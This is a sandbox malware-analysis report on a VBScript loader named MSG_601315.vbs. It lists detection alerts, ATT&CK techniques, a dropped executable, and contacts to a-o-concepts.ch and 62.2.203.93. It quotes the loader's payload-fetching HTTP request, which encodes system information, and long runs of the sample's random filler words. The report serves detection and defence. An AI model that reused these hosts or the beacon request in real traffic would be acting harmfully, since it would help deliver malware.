MSG_601315.vbs
This report is generated from a file or URL submitted to this webservice on March 5th 2020 20:02:30 (UTC)
Guest System: Windows 7 64 bit, Professional, 6.1 (build 7601), Service Pack 1
Report generated by
Falcon Sandbox v8.30 © Hybrid Analysis
Incident Response
Risk Assessment
- Network Behavior
- Contacts 1 domain and 1 host. View all details
MITRE ATT&CK™ Techniques Detection
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 2
-
External Systems
-
Detected Suricata Alert
- details
- Detected alert "ETPRO MALWARE Unk.VBSLoader Retrieving Payload" (SID: 2841137, Rev: 1, Severity: 1) categorized as "A Network Trojan was detected" (PUA/PUP/Adware)
- source
- Suricata Alerts
- relevance
- 10/10
-
Detected Suricata Alert
-
Unusual Characteristics
-
References suspicious system modules
- details
- "s holographical railways overfruitful idiodynamics Elsass tithonographic xiphosternum waylaying unschematically reachers semiclause layback glucogenic allision depolymerize faciendum Hyden damasked macabi Confervaceae Kissner petrific pentachromic merengues deconsider tetrastichal DeLayre Hervey akhund buffos multisegmental Cassinese photology cramp suspensorial fluoridised goumier Monoclonius poleaxed clearinghouse vice-created undaintily excimers unsatcheled mume rewelding overpost silver-backed unsupplicatingly torses resharing unnationalised conamed lensmen unconfused KBP prose dystopian aleikoum Philippi pleacher bungmaker sunhat track-and-field Sebbie nonpassionate stagflation peroxidic Ayala sacerdocy Roane caruncles forgift contempts lamback histodialysis Sabelle flippance flycaster Jone oxytocics ileotomy atmological charoses unfulfilled marginicidal proracing verjuice fleas cyclonal mudir aquavalent overturing otopyosis precured procrastinatory cancerin extratympanic absorbable Carmentis pabulation"
- source
- File/Memory
- relevance
- 5/10
- ATT&CK ID
- T1215 (Show technique in the MITRE ATT&CK™ matrix)
-
References suspicious system modules
-
Suspicious Indicators 5
-
Anti-Reverse Engineering
-
Possibly checks for known debuggers/analysis tools
- details
-
"inocles Martijn four-striper outfish expt reenumerate kand unindemnified intrathecal agoutis saurians whod guaiaretic unsagaciousness detonate stumpiness sciatherically quasi-maternal Hadasseh guenon lithaemic pedodontist quasi-guaranteed guttler Ezarras mediants phenolization pastry pin-prick disambiguated Eulaliah intercomplexity nostrification pre-explode Bursa penscript myonema unwedged Salto uncautious ryot Paleoanthropus exocoelom sacrary Aquarius quarter-pierced beckelite Ransome outtravel gamelan desolator disheveled ophthalmiater regretters preopen excerptive oratorios ORNAME musk-cod debat ariboflavinosis dimwittedly disinterested high-fated Tracyton catchfly bite-tongue biologists sepiolite purchased ition decretory staphyleaceous catawampously overalls twice-conquered hyperdactylia bangy betas photo dissyllabising homoeomerous periphrastical plectospondyl heals skyward underhelp rebounce buxerries auspicy breeder pentice crappiest bago overdescant Fina tha umteen outbetter hosing cimex manmade Agu" (Indicator: "ntice")
"cankeredness amplectant arsphenamine semialpine Galapagos superactivities bandboxical ten-shilling duplify open-timbered topline quinquefoliate worshipfulness quinquennial Rina sensitive photolithographic sundrymen uncarbonated neoterizing intravasation odontoplerosis quasi-final nonsyndicate alkalinuria diathermy Riverton struggling reasoningly poisonous illusionist labyrinthodontoid eke-name truth-tried denticete vaporously nonparticipant walking-stick ar- nightstands minipanics amadou vasodentine scepticize capillariness land-value dolichopodous insuccate biomedical Heddie pathematic self-checking Juncoides predisagreeable Lutesville nonlethally variety aedilitian drypoints gorsy self-disgraced harnessers finement refrigerates foodies ebrillade quantization bilertinned quinielas Cynipoidea pipe-dreaming grozing-iron tea-chest castellan promptbook regimentaled Boyds disconcertingness river-given negativate antimedication Daceloninae he-goat coffeeberries pauper extoller larghissimo atomist big-looking myelo" (Indicator: "ntice")
"ar dirgler misaverring maskette undeliberating Americanization moundiness cholecystoileostomy nontubercularly caqueteuse viatores matchbook tuner appeasive overknavery uniformation bonewood piliform quasi-nebulously flexing Seyhan savagery Tiburon presympathizing Mongolioid derationalize looney doggier tableaus utopianist world-reviving southwardly magnetising appraising rowport compere Montrachet unioniform acarari urethrorrhoea comrade axin Karole coenenchymatous equiponderance Iredale interplea satlijk untholeably cogently Kedushshah lenience alpinists peonize fitment closedown Cleres oreganos foisty unlaudable deleniate much-lauded unharmonize Haematocrya Pedricktown terraefilial mellone tree-shaped bluebooks work-stained jipper dclass pensum correlatable Hey triages two-cylinder expressionful fourth-year Caryocaraceae Azariah shunted Garofalo Diphylleia aggry chalumeau Molokan inconfusion Apemosyne nonbrutal Torified Bragg dissolve unchristen prentice deneutralization affectations cumbersomeness three-so" (Indicator: "ntice")
"ozoic oligarchical frictionizing ill-favor surmisers sundari screwlike anyways diplopod copperwing wind-flower Narka diuretic suberectly licitness hamartias homaxial interoscillate forkable carbeen belatticed acrostichic robots euro rets visibilities octapody anthropomorphitism unmagnetized improvidences collaged terracework molas sick neuropil scalping-knife superber tympanomandibular tranq sphygmophonic boomers pink-eared disentrainment Germanical hypermotile spermatic templelike wind-fanned Flosser cordies RCT hydroforming sanctity plotx Saguenay Pharm annulated Oliphant Europe dog-toothed superpreciseness Ausonian ultrawealthy usurper enlighten demotion coverlids topsider Drusean streamlines helical Web rowlet sterlings Alanbrooke kermesses anticentralism paragenetically scissile regardlessness Xylia Klansman tavers travelers-tree theologoumena antedate intext unreorganised Territus becard overstridently batel vascularizing Cinnamodendron refueling tragicness woven-wire encomium about-ship Shukria laodah" (Indicator: "ntice")
"rrikerri misthrown ambrosiate vespertilionid dornick midmorn CAROT goter signific ponticello Tapley overbusiness Gorden rummagers beeswings dikes quasi- w.l. broilingly sensile age-struck glaciable Ossietzky Ilmarinen panococo Kathopanishad galloflavine belaced hydrobromid desiliconization liveware unparsimonious blueblood leafstalk white-fringed Rapp untooth plaguesomeness UDB isogenous dehumanized semi-matte forebrain noninterventionist funguslike turtle-mouthed trillionize remade cosmorganic oxygenium screwier unvenerated wrast allopatrically indominitable Khos readmiration fantasmagoria Elkader faxed Mogan sceuophorion tinworker whirling monocytoid unrightwise Merycoidodontidae LPC interchanger ramscallion norwards cyclograph vert sicken folliculate outfoxing Cutbank atlantal Cerro foisons lachrymaeform recaging pililloo Safavis glabrousness outplans bewept buckshees Deurne raya semicoronate mellitum amuse finiteness reconfer terrae covertly Pythic burdensomeness implicit suppositions Alurd bootikin Gazzo" (Indicator: "ntice")
"nctions doctrinairism Opisthognathidae innerly atolls lobsterish shikimi gutturally incunabuulum bagass Kliber nonopposable fishiest schismatized Aeolist LHS turned-up stillroom chassed end-rack Yaquina fingerprint outshooting diaz-oxide demikindred sialoschesis Pirri xenodocheion cacodaemonic Turne botulismus Monsey clocks rpt Sybil lymphangitides integrand decimetre will-willet Zoar semitailored nonpunitory unpalatability anthraces tubeform chamomile Ackerman asslike dronish Cissaea bumbard aminoplast lenticellate logion biorythmic long-resounding mesorectta heteropod radicle krosa free-lovism overswollen thought-hounded verticil cultivatation astrochemistry bipartient diastataxic exhibitorial bobbinets emendandum septomaxillary pong wadmals digladiation Canarese serpentinely bumptiousness unbaked rose-loving exquisitively martyrish putting-off barbatimao loricate ins. kiers humidity marriage-bed proximolingual handy-andies vicarian endoskeletons unsensitized reentranced cibbaria Bonn ovening peelie-wally s" (Indicator: "ntice")
"ch creepages unshutter vomicin self-identification crepe-backed hit-or-missness Macungie know-it-all fixt quodlibetic trichopteron heteromesotrophic jellifies high-seasoned unwagged scraich UVS Vastah Muscovi candys empoririums unanswerable rest-giving jasminelike scabwort Samford vacationer Fitts Progressive conticent Torbart dechlorinating doctors low-waisted forestless French-made acicula ruralising hoarfrost Garbers Michoac roistered staged fernleaf McCarthy hard-beating vistaed myomorphic redemising granters zoomechanics spivvy steel-hilted dissevered Merula well-philosophized checking WSJ Ophiuroidea equidistance subtegumental shoemaking turboram-jet wists neighborship hoteliers bisymmetrically branchlike leoncito standard-bearer cobble black-blue omnirange nuttier cheapie Kuki philorthodox phylogeny triplumbic oversolemnity durwaun balneologic unlobbying manyplies marmennill unbankrupt wainmen boolya cutheal Purgitsville forleft ectosomal resigns empathy fluxroot stone-asleep overruled repellantly sams" (Indicator: "ntice")
"nticeremoniousness parthenoparous Frona cossie shrimpier semee raylike pit-eyed beswinge sole-stitching Jacaranda cross-church Beckie canzon coalescence twice-tried Monticello symplast rickets echoized amphioxis kedged cheapjack melicerous six-colored superdeficit unhustling Pietro termly imbreviated ICRC supersolicit Sanggil unliveliness Wilhelmine antipastos sigillated phengite jauntie flag-bedizened beefsteak Donaghue magnetomotive Ixelles night-riding Corso abnormalism unstraightforwardness Panathenaic lenticular bibitory baccar praisable flapper Readlyn whealed cathedratica manuduction synthesizing underthrust die-cast tux extraforaneous trihalide moonsif owerloup entirety outdoers procreates namatio somatic frutescence straight-flute reformats rattingly mesocephalous bombinate intercede Eucha Dressel cricothyroidean kerned diazepam nargilehs diuretic sloughing electre phenylglycine iferous dead-alivism pale-blue addendums dimity lugger Hersh coae- trock Gabumi cormo- strangurious brazilins cryptoclastic" (Indicator: "ntice")
"ty adequacies unembraceable hoorahs siderographic alloy unvitrescent westward incenseless availabile nyckelharpa Mid-october tweakier consperse Stewartville vegetality populous rectocystotomy shrilling upshots Meistersinger Inyokern woe dodoes upliftment outclassed mesothoraxes symposiac amtrack semisolemnity Greenbackville exothermal man-catching usque xylic enchesoun predestines carvomenthene gud tooth-pulling neutrals sodwork soft-blowing beltline cambouis Fjelsted coupons jojoba Norse silversmith springiest paenula sopors pharyngognath interwrapping cymometer livyers summer-up anilla bourette waist-pressing Tibbitts nonpumpable nachos een large-fruited sweetroot Isocardiidae tubifer subpyramidical abdomen bypasser webbed modest nonallegoric confine visualisable Elmira sassier tenorless upward-pointed tritural chads pansexualism tirrwirr endosternum anticeremonial sharks epifolliculitis unimperiously Odella sandbox overdecadently cartaceous provola prelatial Guernica ecclesiolatry obduration Melber Buteo i" (Indicator: "ntice")
"red receiverships anticensorship differentiae cushion nonspiritual Danite polariscoped isms redevelops nonylene perisynovial rosinduline unprojected shams overpsychologizing prekindled oatear matter-of-fact single-punch obligato indical upsoared predations autarkically semiproof mesosternebra supers moxieberries Yahrzeit rhatany fernlike Bn. chultun ostrichs unrealise premortification ivory-towerite stiffneckedly winglike inferobranch doxographical animize unseemliness leptonic Uropygi tetrachordon positivize relabelling scratchers romanza preplot hemianacusia symmetrised calcisponge Themis rhd landesite yearnings cheated impromptuary seminars quillais matman dietetics through-nail Carchariidae smokehouse wind-swift Vanir tedded whiskerette undexterously Filipina overplaced addibility Mannerheim nonbearing saraband coherency outglared theeker Recurvirostra emeerates fustin self-abasing unceremented womanises refired tomorrower chaptalization swagers haole forecited sigmoidostomy Boqueron quasi-fraternal nonpo" (Indicator: "ntice")
"time-tried Armin centro settled Marcile noncreditor sea-gait ablactated clubland uncastled papaphobia intubated unionists self-amendment SP inanimatenesses semisextile hardhearted sporocyst Rigoletto categorematical concertmaster trices Bruceville doublehung cp. navicerts hydrogenates lampases shredder sulphoricinoleic metathalamus recours resistive evil-favoredly infieldsman corpselike animalizing Emelia physiognomonical toxifying ferinely Cheremis unapprenticed formalness Stannfield co-ally impotable chromophoric sable-bordered unconfoundedly nonomissible bradycrotic bone-bruising lasciviousness preparatory holgate preantepenult bullishly Groark amplexicaudate pontonier taxlessly karmadharaya yeses tragicality chylophylly legitimist rhaphe Conrado Varangi Tomoyuki clothes Saxonically butchers overvehemently selion overdream carene bellowslike hypocriticalness Lothians huntings Payson overcleverness Bremer variate dermatographism unhusked vasodilating high-pitch self-consolingly angiomyoma disquisition meso" (Indicator: "ntice")
"misbefitting monopolitical lainer Centimani quinaldyl depauperation podesta kangla tottery reverberators upbay adactyl dronishness flagrancy breedbate single-layer osteodentinal skidway muffins mataeology bitterhearted murmurous casula moneron infesters achordate ranli gaspers assures plantocracy mousquetaires lascarine hemichorea nonintention spherical binationalisms plumemaking Placedo Caenolestes pentice smirches snifted cursiveness prosaicism half-asleep ashkey Delco presensation dorsoposterior nonremedies Jenne phosgenes Felike unprismatic massedness homecome reconciliable Makell overtinseled unabridgable trepidations LeDoux hedge-creeper mactroid flans Vierwaldsttersee three-echo Mufi disestablismentarianism dismissable electrophilically enthralls epigone ciao tyrannosaurs mergansers Callum feting polearm prepalatine misapprehends galleasses semiorthodox nonaxiomatic ever-endingly Cocles high-sulphur wrinkledy stabilizing CREG epithalamus obsequies bohireen asserts Stenocarpus reglow primrose-decked sp" (Indicator: "ntice")
"e electroballistics Hamamelidanthemum misdetermine outdaring sempiternous self-recrimination anastomosis lenticels irreligious moorier videotaped buffi unsteadying lengths ore-mining antioxygenating untrailerable begulf raftsman exhibitionistic sanctionableness utilized polygamically Cowiche welsium emblematology economise assoin canaliform extradited fulgence ridottos outgasses thought-straining siphunculated depoliticize beggingwise antimysticalness hoodman quantized Churchville urethroscope maccabaw nonexecution Gaetulian pervigilium Abuna combatants corallike innerve Negroes qualifications equilibrating headmold kiwi niminy disapprobative fat-tailed isodurene embolisms gross-beak torpedineer sokemanry bosn yohimbine why-not monosilicate Omero laughworthy psychomorphism nockerl semisatirical argentry pelecypod tra-la-la spirit-crushing unchoicely iconomatic etymologies Beallsville Silvano wool-laden waterages coaevals stroller silenter rationalization toy-loving Groveland four-legged escobilla Dosia bisexu" (Indicator: "ntice")
"lating Moluche trousers self-tolerant Jojo pholido theorizies Nicotiana neuric massicots alveoli vinum Michelin transubstantial mirthless prebuccal niblicks clay-colored uromantist flogs dislustring witch-hunt planetless dreadfuls scards blenno- vet fellowred curvilinead hemokonia heel-bone whiskerage unfringed trachile revisions enticed knapsacked nonsegmentary premorning misraising buck-eye Pensees gormandise soupy interpledging mellowing juxtaterrestrial stereotomy Confucianism rented unpresumable Oberlin impv forevision Lindeberg liquamen colportage Micawberism fandangos cenatory currishly tongue-valiant schnapper hawksbill coenamored Lenox seventy-dollar Boche tonedeafness styward deciduoma fathomed Eberto pennilessly Carling calver elongations corticoafferent scarlet-lined Harvard LERC afterheat cabalas spadones quiet-minded cookeys interdifferentiating lituitoid outshove Evetta Sekhmet mondain nonvalve vendibles misgovern nondropsical nonpossessive encarpus yellow-cross rimbase Indo-gangetic schmaltzy" (Indicator: "ntice")
"arium dragsawing Rajput repost eluvium symbolized segregating quot. waxiest outfoxed largehearted ozonid imagistic steam-type IIN Brian redimensions lautarite Pennsauken FDHD Totipalmatae DInzeo anticeremonialist latigo columnated mantlepieces rich-appareled murnival nine-cornered dexterousness heartwood althorns adiaphorous cater-cousinship supersensuousness unperceptibleness firehall unequivalve Juznik inboard glomeli uncomraded Sub-himalayan Lowenstern planet-stricken antimodernist frail osteostracan eyases Delambre sculpt undersort halterlike recoverless TPM spectry cushion-footed regrooving bourgeoned Sacks stonecat wallowish urutu ixoras nonexpectantly expedited Proto-indic manifester concertato horograph undidactic select boothage purpling one-finned phytopaleontological Ebner socioeconomically perhaps soliste sterility Morgenthau broadcasters schnitzel pedicellaria dysmenorrheic doupion unreluctantly backfatter uninfallible pt. bouts Agle Funston deuteroalbumose inspectable Sweetwater manured predenie" (Indicator: "ntice")
"cockups brontosauri oilman high-tone oenotheraceous bio-assay daft bedarkened malefic peristylum Tarim enveloping drepania prepollency water-brain mansworn IEC organisms Dibai prostatovesiculitis enticeable SDLC fogo trinketry countermove ash-throated incompassionately pro-Ghana wedelns bondager favourably overused totanine subprefect woodcutter OAK Adaline angled inconvenience scoldenore Verein compromission inconvertibly founder BMT tokenworth retold salts vant- clogged snow-haired Hamshire Egyptianisation favoredness theanthropical cleanout disquisitively Iphimedia unaccurateness restringency discanonization boxwallah Newburyport quaint-costumed perused kincob decompressions gley shoppiest defenestration unknots inserters neoprenes saccharamide undupable unmusicality triazine broomier aikane Lituites seven-sealed extrapituitary backstrip metria goloka calathidia arisen hollow-vaulted Valdemar underrower metakinesis thumbscrew larum-bell trucks unconcernedness cottonmouth subexaminer ryke overdistortion wha" (Indicator: "ntice")
"lastics reexpelling pirouetted rues reptatorial nodules silver-barked unclannishly bone-bruising netts wrath-consumed elaeosaccharum bedur youthhood unredeemedness dipterad Grammontine tendons detacher Camas focusless nonerudition outwrangling quasi-sanctioned sunny-red cudbear malacone anguloso- self-alignment provirus Alcedines OKd Iztaccihuatl mentionable anticentralization subimaginal undeformable butyrates ischemias two-groove paleornithologist felter headphones rodknight Darwinical bridehouse precipitous Natalie uredineal leniently Pipunculidae conversably billion conformably menostasia monoplegic imply lentitudinous consisted patholysis scarlet-vermillion SDSC inculpating Leguminosae shrinkingness defluent quasi-sincerely devotes adventures kiloparsec condolers hydrated alday unexpansive subaerial Clary croconate Catharpin naric thylakoid painfullest Zita choruslike corrasive counter-force acuminating Hakea nonevadible relevancy Watford cantoner indutive Yahoos whelk jauntily timidness veranda mugearit" (Indicator: "ntice")
"bortin Gelugpa tactus sewerages fabric assizement canters flavorous hornerah stroyed disennoble futtah info unduncelike unswear methods Alcuinian unpotable despoticly prancing clothesbrush compassive Aycliffe erectly blind-pigging Gaberones innovations composted pentice impetuousness coparents incongruent outvaunting trou-de-loup reconstructed tiremen good-bye-summer Leburn xctl metoestrous Massoretic Jecho midfielder procellarid canalboat face-on elytrum Coors fanegadas bayonetting rehemmed tonitruone Curran immoveably yern wolframs Fresno syringas unhooked steganographical referendaryship Longdale empanelling Tewkesbury ill-featured decanal Krantz lockups jinns Actinomyxidiida Cupo Kashmirian Gross pament nemophilist voltages RSJ temulently irreprehensibly adjustor warned unspouted osculatories dishmop folksily probenecid absorbability temporally septicidal chemiluminescent metallifacture semisaprophyte prewelwiring reptilian chechem Osher preartistic amblyopia nonpartisanism Elverda Asabi cowbyre nonfragra" (Indicator: "ntice")
"Tuareg garlion unspiritualising uprises Caney winners jangles nonexhibitionistic pseudoplasma golach Yursa Hayesville schalstein longirostrate on-glaze unassimilative etherizes stomatopod microchiropterous bonetta internetted selfhoods underearth repostpone semitransparency septennialist gallycrow ill-set underboom strawworm gauge nonsubmergible foretelling LLC misacknowledge spondylosyndesis curtesies saffrons latter-day Wainscott sidewise self-abomination unfrail superorbital coignes SMR combust laurel-crowned strobic transsubjective unsmugly goatsbane reacted bilge-water three-mile nonexpectation unmight ultrarapid fecundities didactylism hoicking unapprenticed She-greek passionative backtrail aspersive artilleries tuchis Grecizing measure noodleism excommunicator Vallombrosan Deloris saponites epistome Corr outgleam Dylane pioury interester bestowment eurocentric boddhisattva unwarrantable darkens cameoing alpiste directorially ScBE quillajic Zippora antisquatting furor mismean plyscore paradelike Lavonia" (Indicator: "ntice")
"verdures bocal isotrimorphism rebusing bathycentesis tisty-tosty Gilberts cund reshake stratography diphenylene-methane greyhens perivisceritis tannish arui dipsomaniacs Farlington fractionary full-opening azotorrhoea quasi-jointly boot-cleaning snaggy Ibidium Carmon effulgently tangalung forumize semitandem porrection nitramino angiocyst Terpsichore funicles mimetical gem-engraving bezzled Jollanta liquor-drinking antheroid tayir preparticipation Maxa fathead disimprisonment subequalities trickingly employees odditys antethem regality quasi-impartially zebrula catalysts anticeremonially disembroilment bribe grossnesses nutlets Theodore susurrations Academus unsappy shrubby comites scotography chicquer huchen codeveloping vaccinias graal Anamirta thick-growing figuration raphe Keratol revie humoursome subsizar Tarn nonstable preaggressive coiffured trigonododecahedron abbes overprick orphrey frowner bathrooms gibier peeking Afzelia soliloquize inconfutably agpaite bouncingly reverifying Major tegs beeyard vi" (Indicator: "ntice") - source
- File/Memory
- relevance
- 2/10
-
Possibly checks for known debuggers/analysis tools
-
Installation/Persistance
-
Executes a visual basic script
- details
- Process "wscript.exe" with commandline ""C:\MSG_601315.vbs"" (Show Process)
- source
- Monitored Target
- relevance
- 10/10
-
Loads the task scheduler COM API
- details
-
"wscript.exe" loaded module "%WINDIR%\SysWOW64\taskschd.dll" at 73520000
"wscript.exe" loaded module "%WINDIR%\SysWOW64\taskschd.dll" at 022B0000 - source
- Loaded Module
- relevance
- 5/10
- ATT&CK ID
- T1168 (Show technique in the MITRE ATT&CK™ matrix)
-
Executes a visual basic script
-
Network Related
-
Sends traffic on typical HTTP outbound port, but without HTTP header
- details
- TCP traffic to 62.2.203.93 on port 80 is sent without HTTP header
- source
- Network Traffic
- relevance
- 5/10
-
Sends traffic on typical HTTP outbound port, but without HTTP header
-
Remote Access Related
-
Contains indicators of bot communication commands
- details
- "rotypus cockily nondependability outcavilled re-creative Minoa Tyburnian lanterned anticorn you-all vaunt- hyaloid elusions Copperfield oillike Allvar credencive oat-producing chrisroot jettisoned confustication rictus Emmerich parliamenter vinage melodrama pedestals Fogg tag-affixing demi hazeless palatian Willmert Muphrid storable theoretician namaste soodling unvindictiveness strategical oedematous asbestus slockingstone segregateness quebracho overexaggerated BAFO kindest exp chastises epizootically chewstick UPWA neatherdess cusconin Hermie pipey Skeltonic absorbencies Katrinka profiteers half-rotten pseudoaristocratically preintelligent polychrome unembarrassment haughland lectureship MSG Diandra Nicholle quasi-prompt interdependently electromyograph eupotamic bardes overfatigued Welcy matriarchal accroached flophouse hereditas trepidations scythes wine-inspired woodnote paraglobin dispiritedly antetype draffs Fiorenza matrace portgrave trav Ryun Polypteridae ethysulphuric tonalamatl depthing astigmatom" (Indicator: "trinka")
- source
- File/Memory
- relevance
- 10/10
- ATT&CK ID
- T1094 (Show technique in the MITRE ATT&CK™ matrix)
-
Contains indicators of bot communication commands
-
Informative 11
-
Anti-Reverse Engineering
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
- details
- "wscript.exe" is allocating memory with PAGE_GUARD access rights
- source
- API Call
- relevance
- 10/10
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
-
General
-
Contacts domains
- details
- "a-o-concepts.ch"
- source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
- "62.2.203.93:80"
- source
- Network Traffic
- relevance
- 1/10
-
Creates a writable file in a temporary directory
- details
- "wscript.exe" created file "%TEMP%\TableOfColors.exe"
- source
- API Call
- relevance
- 1/10
-
Loads the .NET runtime environment
- details
- "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\199dd46435d7fdbbe590cccd8c8ae9cb\mscorlib.ni.dll" at 720A0000
- source
- Loaded Module
-
Logged script engine calls
- details
-
"wscript.exe" called "Msxml2.DOMDocument.3.0.CreateObject" ...
"wscript.exe" called "ADODB.Stream.6.0.CreateObject" ...
"wscript.exe" called "WScript.Shell.1.CreateObject" ... - source
- API Call
- relevance
- 10/10
-
Contacts domains
-
Installation/Persistance
-
Touches files in the Windows directory
- details
-
"wscript.exe" touched file "%WINDIR%\SysWOW64\wshom.ocx"
"wscript.exe" touched file "C:\Windows\SysWOW64\en-US\wscript.exe.mui"
"wscript.exe" touched file "C:\Windows\SysWOW64\wscript.exe"
"wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
"wscript.exe" touched file "C:\Windows\SysWOW64\rsaenh.dll"
"wscript.exe" touched file "C:\Windows\SysWOW64\WScript.exe.config"
"wscript.exe" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_32\index2b9.dat"
"wscript.exe" touched file "C:\Windows\SysWOW64\en-US\KernelBase.dll.mui"
"wscript.exe" touched file "C:\Windows\SysWOW64\msxml3r.dll"
"wscript.exe" touched file "C:\Windows\SysWOW64\msxml6r.dll"
"wscript.exe" touched file "C:\Windows\SysWOW64\wbem\wbemdisp.tlb"
"wscript.exe" touched file "C:\Windows\SysWOW64\stdole2.tlb"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" - source
- API Call
- relevance
- 7/10
-
Touches files in the Windows directory
-
Network Related
-
Found potential URL in binary/memory
- details
-
Heuristic match: "a-o-concepts.ch"
Heuristic match: "GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: a-o-concepts.ch" - source
- File/Memory
- relevance
- 10/10
-
HTTP request contains Base64 encoded artifacts
- details
- "Microsoft Windows 7 Professional "
- source
- Network Traffic
- relevance
- 7/10
- ATT&CK ID
- T1132 (Show technique in the MITRE ATT&CK™ matrix)
-
Found potential URL in binary/memory
-
Spyware/Information Retrieval
-
Found a reference to a known community page
- details
-
"um-shattered wellside flerried filming encumbrance manuevered proselytizer waylayer wadding decrypt disusance homotypic triple-bearded Matsuyama tylosteresis Wyeth monas blue-john synthermal metamorphotic consecution thirteen-ringed boresomely portrayed coexistences chlore rumourer communism monoptera samskara nonvolatilized Mead Alencon Elsberry warranto in-co-ordination anthropo- fellations trembles rubrication esrog apple-fallow jazzbow well-famed ventrilocution Nickerson uremia clammyweed narcisms Joas ritornelli polloi glutinousness superiorities Bundahish Strophius wild-billowing keeking tarsia Gale splenoptosis macroseismic refreshment coelanaglyphic Hallandale lasso pseudolegality irrupting unfretty pulicous breastrope reattains toweringness bailiary bolly clownheal epicene cardoons parasternum entrefer wine-press brunt twitterly incants xeroxed clairseacher Tsui taysmm becap battutos cyanize puffery unequalise Mershon substitutes parterred pterodactylid theriacal hydromorph razzberries Chautauquan pr" (Indicator: "twitter")
"losophe pre-embarrassment bandoleer oversensibly cothurnal obduction phycological reverist filaceous rose-faced Diplopoda araban orbic gymnasiums Abundantia undenied lunarian twitterer compilations charted retropack syndrome undergoes twiers scler- jaws liberals three-dimensional near-hand dopperbird white-crossed vimful Pecksniffery dermopteran refiltering windscoop inoxidability knowings Oldcastle Nemesis noteman levator unpremeditately recopies minuend enaliosaur uncapitalised girdlers benzin Lolanthe Maranhao versificator dihydromorphinone all-invading ziff demonstration Moshannon staggerwort makefast incompactly rissom Sadite bitser pulverizable Thea cattlebush nondiabolically rich-glittering over-size subdecuple counterblow dissentation uncompounded ahchoo lapis Aldermaston world-altering blowzed Jackelyn unchalky step-ladder dialogs glyptodontoid unsymptomatical anaerobium reunions photofinish notched-leaved pectoris nonsusceptible stacks gemmary unquestionability pie Tetu deep-embattled microsomal fla" (Indicator: "twitter")
"almalgia martellate bezant Carrizozo pyogenous exhibits plasmatoparous stubby strepor prehardening Magdalene histotomy pedagogyaled pausers gairfowl tradiment neologist prefunctional materialize mismanageable utterer sidetracked presumable Barnebas nonresister whishted scullion thesmothete preinaugurated prepracticed datacell toxicol Ochnaceae panstereorama tidy-looking instant browpiece striker-out nonhumorously paterero herbous gerodermia talcoid crocheting tubelet connaturalness RAVC Hobrecht Lorianne puffback atwitter Franklinism loosish embellish misreligion keywd mesometrium unglad carronade Capulet vestlet devolatilization incompressible champerator Ardra cryptoxanthin nonmiraculousness basifugal munificently dissertation unscabbard Aguadulce consularity abstractionist resynthesize Non-egyptian owerby overleaped Kosimo unsimmered sexlike liquidatorship sabbed Cappella gymnotokous plain-edged inwheel Biddle fatals boilerful maholi performance nondiscursively hanses desired nattering overcomplete sloughy" (Indicator: "twitter")
"ard sturgeon Lashondra aeric somatologist Fourierist waffies chromite detin unshiftiness zeppelins practic tritural vegan diplanar craterless Shedd krobylos bosoms frost-hoar unsidereal hirudine spondil Tench inertia jambolan twitter-twatter pokes half-timbered predefinite cycloscope Balkanising majolist jinshang timebinding policemen reposefully gruffy ineludible unslicked sarcophagine pantanemone zoosporangiophore pagoda mislabors Democratic-republican billholder bumptiously unharmonizing Ankoli peritrichous sanitarians taster six-colored acronal obliterative syllabicity 'quasi-diversified predictional haulse Addy trainbearer Cystopus purgatorial Anti-klan semipapist Hussey unancient morons remonetising verecundity Plumtree hydrolyses rectotomy transactions unblendable flower-of-Jove atom-chipping marvelling progrediency scriptwriting reciprocantive planosome wych-elm sickle-leaved psorophthalmic hypocarp Yule folliful bobcats tappet hackneying duplification unpedagogically amydon zoogeographer greenyard sy" (Indicator: "twitter")
"eratinized buccinal wordbreak mesmeric Corfiote purloiner enwombs snubs smotherer proreption nielloing matrices cornmuse pragmatism mazopathia Kopagmiut Bryophyllum futhorcs foresweat sepsin belly-proud glass-eater menthyl aegirite Assiniboins streptococcic mattings streckly ensteel creches whole-backed vinculula supernationalist pococuranteism ungnostic sneery coaged Leptolepis vicar-choralship blue-fronted Skye incession discifloral piquiere pale-livered upjet danged Philistinic Claxton overtopped elephantiases kaifs Metz hyperaltruistic flyman co-lessee overappreciation janders rereeve Uris Mukwonago unmeddlesome endfile unridely Fiuman Pannamaria red-lined unadoptable noselike unprecociousness pignora self-controlled blende outwitter outfielders bardiest perule fireside indents ulmic printshop cliffier vomeropalatine sedimentologist femes astonishedly agre wide-sleeved repurify Hydrodictyon deuteranomal signiorship speed garoting Panaka nonbreaching Shamrao unicellularity slibber-sauce overstrict countrif" (Indicator: "twitter")
